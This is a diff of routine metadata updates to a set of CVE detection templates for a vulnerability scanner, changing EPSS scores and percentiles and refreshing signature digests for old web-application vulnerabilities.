+# digest: 4a0a00473045022071c52237ad4600aefc939b56d9d634140f4634294b4070fa9398192ccd5836cd022100a4fea2b605c0b7f7e2e9df142446b86a371d0b2a14576f7c64eb5a308e22e639:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2002-1131
    cwe-id: CWE-80
    epss-score: 0.03877
-    epss-percentile: 0.87744
+    epss-percentile: 0.87816
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
@@ -60,4 +60,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a004830460221009f0639d039fe5e778b52cf8395ac3e07f8d580540132cda9c84e70e3686e9117022100a21de5317dbdac6c61330c7b6ece04e105f3aff20be2de67636499b3fdecc065:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022052df99c94ad6eba2feaf70d127bce09c66f98b1c40c2d9ea3439be25531ecf0d02200a2b5928665d77a5e5fbd3dd8b19ced9bd9f305530ed9999589c5847f30a8522:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2004-0519
    cwe-id: NVD-CWE-Other
    epss-score: 0.00124
-    epss-percentile: 0.32318
+    epss-percentile: 0.32274
    cpe: cpe:2.3:a:sgi:propack:3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -48,4 +48,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502203ee3c939d6991ae14ea05effa05be229151ec3cf7a2032a38493bd0d4d54f2740221009f56cc5ae26fc2e7f311fbcd8c0ccf64e1b3f0965f25bbecccf7f2bf91a8b068:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100c1688b0613a16e56c152ce7caf2480402d3bb4734ec2ae0450de08fd5b74ce58022100f7bd0adde8891eef26abb7c210c22fc4c657abe47613293a3eb08d5aa2bb0c9d:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2004-1965
    cwe-id: NVD-CWE-Other
    epss-score: 0.00265
-    epss-percentile: 0.49801
+    epss-percentile: 0.49708
    cpe: cpe:2.3:a:openbb:openbb:1.0.0_beta1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -40,4 +40,4 @@ http:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 490a00463044022002d5729e085998500ade619b9b98313512d618bee87f18c18a93827f28cf2c9f022073e3601afa070fe62a6276bc2250ee1d10220578ae49219ac869fd6abdb4a2c4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a0048304602210088bee1aa0a5c56cd4d2d98ecbed7d122d457e0f4174e97c8654c49c4b177942b02210090000b94ebc5e49d81da1bec1ff952ade23205d9cda5ed757f1fb5f8e7c076be:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2005-2428
    cwe-id: CWE-200
    epss-score: 0.08605
-    epss-percentile: 0.92047
+    epss-percentile: 0.92077
    cpe: cpe:2.3:a:ibm:lotus_domino:5.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -44,4 +44,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100f77272eb565acfdbdd0e5cfef25c4eb95694fbe673bfdefc5c7695e75c4e445e022100e2e975cb3292c1426e24fdbfab48e12401f5406920124f91dac5378bb452473c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220107323d61ec3380262e562447ddb3676fa81ee90084275698a12e158600ee1f9022100db1924dcf5d0f38b66066ef4ac3b7f8fe003902998ed6b957e5ebb5c6bf22574:922c64590222798bb761d5b6d8e72950
@@ -13,7 +13,7 @@ info:
    cvss-score: 5.4
    cve-id: CVE-2005-3128
    epss-score: 0.01733
-    epss-percentile: 0.81866
+    epss-percentile: 0.81884
    cwe-id: CWE-80
  metadata:
    max-request: 1
@@ -40,4 +40,4 @@ http:
        part: header
        words:
          - "text/html"
-# digest: 4a0a0047304502200ff643fa1988f0c8e2189c210be292efc81b3bd8d0b8c4d24c3c6642da543db702210088f09307d1d1a8643bf65284e85a2b5ea0daf2f38305a3fd8d3bd2f8606e107c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fb86585677d2a740090d0666599342450464b643570fa67af41b7950a46b525202200b735da384f664a2057a0f0057a63387c7c64f5d4d291286a2f05f38d5233ef1:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2005-3344
    cwe-id: NVD-CWE-Other
    epss-score: 0.1015
-    epss-percentile: 0.92793
+    epss-percentile: 0.92823
    cpe: cpe:2.3:a:horde:horde:3.0.4:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -47,4 +47,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100810911451936fc7925f16ac33ecde0896b49397889396920c0e95ea789889c45022100d80130ad60b3648bae140c41fbe17cbdb3f54e49f097065b5ba93fbe413b0a15:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f01c4e1400522f3ad7148c4706b91aaeeba7456d83637cda8c35e0cf02bf63b302205997b0902c7a235bc6b3eb2a2eb94da7703128598800d9bfdc81c7f0540ef19e:922c64590222798bb761d5b6d8e72950
@@ -23,7 +23,7 @@ info:
    cve-id: CVE-2005-3634
    cwe-id: NVD-CWE-Other
    epss-score: 0.01653
-    epss-percentile: 0.8144
+    epss-percentile: 0.81457
    cpe: cpe:2.3:a:sap:sap_web_application_server:6.10:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -45,4 +45,4 @@ http:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'
-# digest: 4b0a00483046022100a8de2e4a5ad7dea904f149ee0d67b8ce70c2703e7155babd0a646ba3b909f619022100fe029d63ced0ff7f5859e316dfeb315ba2be65bd5d2e7d2627f15426b440aed2:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220208068733c65b757804da1fc56eb066316ee6526ea2655f5a0896db08a89109b022048bae6bce1e3ff5df1acff54a197c0ea4a0e8852e0e61a1fbd1a7a21cc80f912:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2005-4385
    cwe-id: NVD-CWE-Other
    epss-score: 0.00373
-    epss-percentile: 0.58269
+    epss-percentile: 0.58223
    cpe: cpe:2.3:a:cofax:cofax:1.9.9c:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100aa6f650e3d47a977f41ff5cebeb334d9bf3d0c0e3eeb189314d184219ead2d26022100d3d17b14b5dc4c9faed623c08844452c6c6c6668971480b9c6e61d36c981ef99:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b2562a1cb5fd01dadd6f9defbdef695f100415e5cd175e9adc83c9c7c347376e022100fc6d3289044636054ce84dc273d413ef19d8953f7d93245aa2e14ab352a7016e:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2006-1681
    cwe-id: NVD-CWE-Other
    epss-score: 0.00299
-    epss-percentile: 0.52773
+    epss-percentile: 0.52708
    cpe: cpe:2.3:a:cherokee:cherokee_httpd:0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -62,4 +62,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022031f4a0d40faf30648f84447f934d5cdb891d4e864795934f59726bfa9e573a11022100b10577fa58541f353e16e51dfefab7385f474b54900a155b2babdfc1b9251bf9:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022010d46f76a61ae0d2bdaa1ccf81d7d6742453f2cf08e6c4c1c89cffb590ec931d0220008832d06805bb573d4ee433a82e303558a30e4ef3fb89bcb2531b77d4c36d54:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2006-2842
    cwe-id: CWE-22
    epss-score: 0.0094
-    epss-percentile: 0.75478
+    epss-percentile: 0.75494
    cpe: cpe:2.3:a:squirrelmail:squirrelmail:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -48,4 +48,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a004730450221008cfc5432654fb51a39f965efc8ff12f9061afca3e9822682e4e85c561885d9180220040818e65f8866786f1a38d5ddf7b8792ab802e28b69a290efea139eae2312d2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022076dd06f407486e3feaf6f1013b05d01587451d04d90bb7a3f3bc65b36ca2223c0221008e556fa489c2c69997f48830bee963750479e0d356b3f3718395e53991bae1d8:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,7 @@ info:
    cve-id: CVE-2007-0885
    cwe-id: NVD-CWE-Other
    epss-score: 0.02133
-    epss-percentile: 0.83619
+    epss-percentile: 0.83625
    cpe: cpe:2.3:a:rainbow_portal:rainbow.zen:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -44,4 +44,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a11a707b73a29c58a517b9085c4754dfe1790ac3ef2f3e85d89409a3ee37d280022100e9d487ce35d8a650ca90f0f3cd006177b094852ec79e2f69854b1d3139d0634a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202968a2cba48310a0bbab76b0de7a760405eb55c14e329c5c0592f04e7bb0a216022100b3658b78c4742829059e9d7f8dc4afe9ef7213be380450b1443e67e9eff7e056:922c64590222798bb761d5b6d8e72950
@@ -14,7 +14,7 @@ info:
    cvss-score: 7.2
    cwe-id: CWE-79
    epss-score: 0.82646
-    epss-percentile: 0.99184
+    epss-percentile: 0.99187
  metadata:
    max-request: 1
    verified: true
@@ -43,4 +43,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022034911a6e934ba7bca94b5503e4846d9c12b618bcbc10c5b1ba4c023dae965c84022013d64fa600e7599a220a03d549b7c44dd109fdc0ccd82494e01f73d539bd8064:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022013395ca8e005c3af19e52902290e4e3838c6e1c2d426c93123c23eb226bead7702201b33239a28438c31e358cc083b3ca08c97250f9d4ca91d3d86ecab1612bde94e:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2007-3010
    cwe-id: CWE-20
    epss-score: 0.93855
-    epss-percentile: 0.99859
+    epss-percentile: 0.99856
    cpe: cpe:2.3:a:alcatel-lucent:omnipcx:7.1:*:enterprise:*:*:*:*:*
  metadata:
    verified: true
@@ -59,4 +59,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a0046304402201e1b3c65272c35ee8bef72b7534cf3cceadbbfdd68b6b173ffeff916c10a5ac7022061b637a3d59a8dfabbae9daa892b6dd7c0542b778b1a11f69bd720f23d2badea:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ce746efb46bb3ef2328d270afd19f61352b3ab7fbcf00d76103c5869b2770091022100d863678895a4c6e614da92c6c2eae7d4fad46b7ffaf61eed1434d3e0a668ad54:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2007-4504
    cwe-id: CWE-22
    epss-score: 0.00177
-    epss-percentile: 0.39602
+    epss-percentile: 0.39528
    cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -42,4 +42,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022022721fe54d8e4c9eb0d072273e2dc449d7deacbc6d3bf962833dd8574da14814022100ba9982e612fae996b96a2be995fb5927884d862a1a82b71a5513f81e6cbb5794:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f4e9fa927a8ab663963a1dc0eaf26e58d82ed3663b069e00ab501395d094810e022100d4fbf0e616d8bef71e1b1bcf74df47c0420004f1ed4dd785659154caeb10f52f:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2007-4556
    cwe-id: NVD-CWE-Other
    epss-score: 0.02359
-    epss-percentile: 0.84388
+    epss-percentile: 0.84402
    cpe: cpe:2.3:a:opensymphony:xwork:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -51,4 +51,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100ca7793b14a1134fcd34db8e8e619a7e634723817391603bb694b7ebe5636680c022100e396cf3ac4c9818c7c3fa09d4ff3369c35f79e5666217cfaa155555689cdb3b5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ed8010f0ca28735bbd10ea101b23b91d0ea5be53ff42e3abdd58c49d77b5d6be0221008e44848bc87980209e4de4599c5c10d0616f0af516e06d9dfbed3ea413d19f07:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2007-5728
    cwe-id: CWE-79
-    epss-score: 0.00488
-    epss-percentile: 0.64626
+    epss-score: 0.00523
+    epss-percentile: 0.66035
    cpe: cpe:2.3:a:phppgadmin:phppgadmin:3.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -57,4 +57,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a00473045022018b96086ae0d21c16386bd315b957e6b4ae1525fd25026f93efbb34043e99af0022100b305c920de75eb65b5a6ed80cc16657b057d1e0e3d44bfd3cab71dec148381ee:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200b42149f9587254062835ce8a6f168055828f1a8b8549a2cb884034e5eafa26a02203ecf62a28ef97b86f61fde212eb30717cb4c7446cd316c167664624457e5b5a6:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2008-1059
    cwe-id: CWE-94
    epss-score: 0.00265
-    epss-percentile: 0.49823
+    epss-percentile: 0.4973
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -47,4 +47,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502207fecd921729824c1e293ab02e9fdbd0ae4ee0be5160a28be27bf092ee071c209022100989a408ad4688052deaea9c4687ee33b961964b24bbb2cabe3836b5562278635:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204299632f86bc604a51f3fcd4399e78a450f4f707623e4cbf969f39bf4dd4966502210090bd6d8975ffaa2e85f4db5856d6ad75cf3a3dde10003ab2c619c5d9e9d59a07:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 4.3
    cve-id: CVE-2008-1061
    cwe-id: CWE-79
-    epss-score: 0.00155
-    epss-percentile: 0.36791
+    epss-score: 0.00158
+    epss-percentile: 0.37099
    cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -62,4 +62,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a004830460221008dd5a19d202d0e6eb6ad8ef57c566e3e1ac6c30063ac6d2418353abc82f9a0c4022100f38f830d1feb94cbc4f299922d70f1a4d69999375a9720203fc59951a18004ad:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100888fe0985c1442f28daa00a44db4529d129f2ab34510390b47a0f6f2ba447842022100df5cc0e1d60e4fb2ddc72da12a449e10200ab2d63a43402220c2ffefc45acadf:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2008-1547
    cwe-id: CWE-601
    epss-score: 0.65006
-    epss-percentile: 0.98381
+    epss-percentile: 0.98377
    cpe: cpe:2.3:a:microsoft:exchange_server:2003:sp2:*:*:*:*:*:*
  metadata:
    max-request: 2
@@ -51,4 +51,4 @@ http:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
-# digest: 4a0a0047304502210091e5cc6baa9195405445ea72702f54bba30299008d12e2ee61524ac8c1354f6402202b5b5192b6419550e8b20733d34e919c7154fe661e88e1778bd4ccbad799d27b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202f3253eb3f2e0b32f36a6847731bd6812473d564f79c7b9131f3f61015551229022100866a3a86e7cc9666ff46b1030ff0f24898eb1ab175016f2317fe8d47a0c42e8e:922c64590222798bb761d5b6d8e72950
@@ -19,7 +19,7 @@ info:
    cve-id: CVE-2008-2398
    cwe-id: CWE-79
    epss-score: 0.00437
-    epss-percentile: 0.62297
+    epss-percentile: 0.62257
    cpe: cpe:2.3:a:appserv_open_project:appserv:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -47,4 +47,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502200e6095a09725c9e6284072bcbd8ba75340cfc11e7478315a2a0c02db6d3a65a9022100ea475be984826b137ccb12bf6d8107f59af63164aa48ad5d4ca8e7ff3fa05537:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220025235b752e05757f305ef1750a9594c1d657bc69956f21ea0af2031928217b40221009f6756767d3dc4eedb805d21b74bfe326d0525a8b632f183932bdb5c64a7d6af:922c64590222798bb761d5b6d8e72950
@@ -22,7 +22,7 @@ info:
    cve-id: CVE-2008-2650
    cwe-id: CWE-22
    epss-score: 0.01643
-    epss-percentile: 0.81377
+    epss-percentile: 0.81395
    cpe: cpe:2.3:a:cmsimple:cmsimple:3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -48,4 +48,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022040a78e1e5dfb7d26482d88d459e3bb49fd0e849d7080ce94df4cf9dda05033a60220750fd715b94ebd2b3ea024d78b82df6be1550b378570ed8f4342827626bbab1d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022028f5819851354e516d03fe0b3e765ba36e0a1f7d2e8c6c5eaec98f0cab788521022100dbb8b55795f427be45bb2a07296f0974081e84659f72d89463e4e88926026e25:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2008-4668
    cwe-id: CWE-22
    epss-score: 0.00268
-    epss-percentile: 0.50086
+    epss-percentile: 0.4999
    cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -43,4 +43,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502205392a1c02b7db2b22691681f2891d4a820d9b40f43aee7f66376e77bfb8e1679022100e758f23a831452c910b83d9c054eb757c391dc48ec8c0466681e4fc979afdb2a:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022012d4d7efbb3110058f30a60ba2054ca8d4e1c27fae54c4faf63c74a35949a509022055e811d3a3c0e2ad4495d5ace2560f15fa8a4202a02bf8914376c49493b9b1ba:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 5
    cve-id: CVE-2008-4764
    cwe-id: CWE-22
-    epss-score: 0.01921
-    epss-percentile: 0.82788
+    epss-score: 0.01041
+    epss-percentile: 0.76781
    cpe: cpe:2.3:a:extplorer:com_extplorer:*:rc2:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -40,4 +40,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4b0a00483046022100a50ba28132d586df291bb284fa6de79eb506f78f83fbc09f91b044c2c23f15c80221009a17e85d8492bef9e0dfe34143d73ce87493a5cf675d4a4670d02251dcbc15b2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100fc07e3c7f2b9d5722804eacdcb3f7fd56ffe510dc9673320f3b48b253bf36bcd02200204497d3a39dd1bfd8be9d5a6492d815c17a162c8bce3a41c2642a3813b2206:922c64590222798bb761d5b6d8e72950
@@ -21,7 +21,7 @@ info:
    cve-id: CVE-2008-5587
    cwe-id: CWE-22
    epss-score: 0.01986
-    epss-percentile: 0.83025
+    epss-percentile: 0.8304
    cpe: cpe:2.3:a:phppgadmin:phppgadmin:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -49,4 +49,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a00463044022013248eff442016bcce7732bb0e73ef0aec175afba94eda62dc4c0f9dcbb97cd802205d110e3ce6952b06c5f180cf06bc6142b1b6d10758f9d25b4332b4f2862e40ac:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502210081779e5a2c40332a193818aab520ef5866cb8b85ce881b582ad7f5dafa683773022071da84584dec84ea2e171211ad1103aacaff386dd60ae29964faed3a62300700:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2008-6080
    cwe-id: CWE-22
    epss-score: 0.063
-    epss-percentile: 0.90543
+    epss-percentile: 0.90574
    cpe: cpe:2.3:a:codecall:com_ionfiles:4.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -42,4 +42,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 490a004630440220656a8438a4c487b802efaf067d843c6aa77a9df8567a4bce9811a281eaf5b45e0220177ec2b5b26753905b3198d036ba700dbf786535a3568761d15cbe9d7f328b5f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220182237fa23a58f323e3884fbd377432495e4ecdcafb2ff2a153d92905f6e296b022100c22f39dee9977468ab9215f33fabdee1cb5d165b2ef52036fb689a6518af6d56:922c64590222798bb761d5b6d8e72950
@@ -20,7 +20,7 @@ info:
    cve-id: CVE-2008-6172
    cwe-id: CWE-22
    epss-score: 0.07294
-    epss-percentile: 0.91265
+    epss-percentile: 0.91307
    cpe: cpe:2.3:a:weberr:rwcards:3.0.11:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -42,4 +42,4 @@ http:
      - type: status
        status:
          - 200
-# digest: 4a0a0047304502210088057cb031372d17c3d3f37d829eadb220f794e752c5d62a8e89232f962f762202205a40979e078ce6eb110d773e1bb46f6a7212b4c80f22835f87f6c8a1591f32bd:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100df9d649cfc658cfad3fada24e3b8d4783295159a9c469b85653da560f5d2bbba022100a0c70ef6423e963b6fca904a8d8bb0f2f503a21426ad131c69f0c469e0c8281a:922c64590222798bb761d5b6d8e72950